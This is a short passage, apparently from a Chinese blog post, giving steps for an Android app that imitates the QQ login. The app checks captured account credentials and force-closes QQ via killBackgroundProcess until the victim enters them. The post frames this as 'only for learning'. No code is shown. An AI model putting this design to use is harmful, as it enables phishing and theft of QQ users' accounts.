  2. 用户输入完账号和密码之后,可以addView一个loadingDialog,接着调用相关接口去验证用户名和密码的正确性,不正确提示用户重新输入。 
   3. 如果用户不输入账号和密码,直接调用killBackgrondProcess函数(需要权限),强硬的把QQ关闭,直到用户输入账号和密码。 
  当然了,这只是学习知识而已,大家开心就好啊  ̄ˍ ̄。

1 0
原创粉丝点击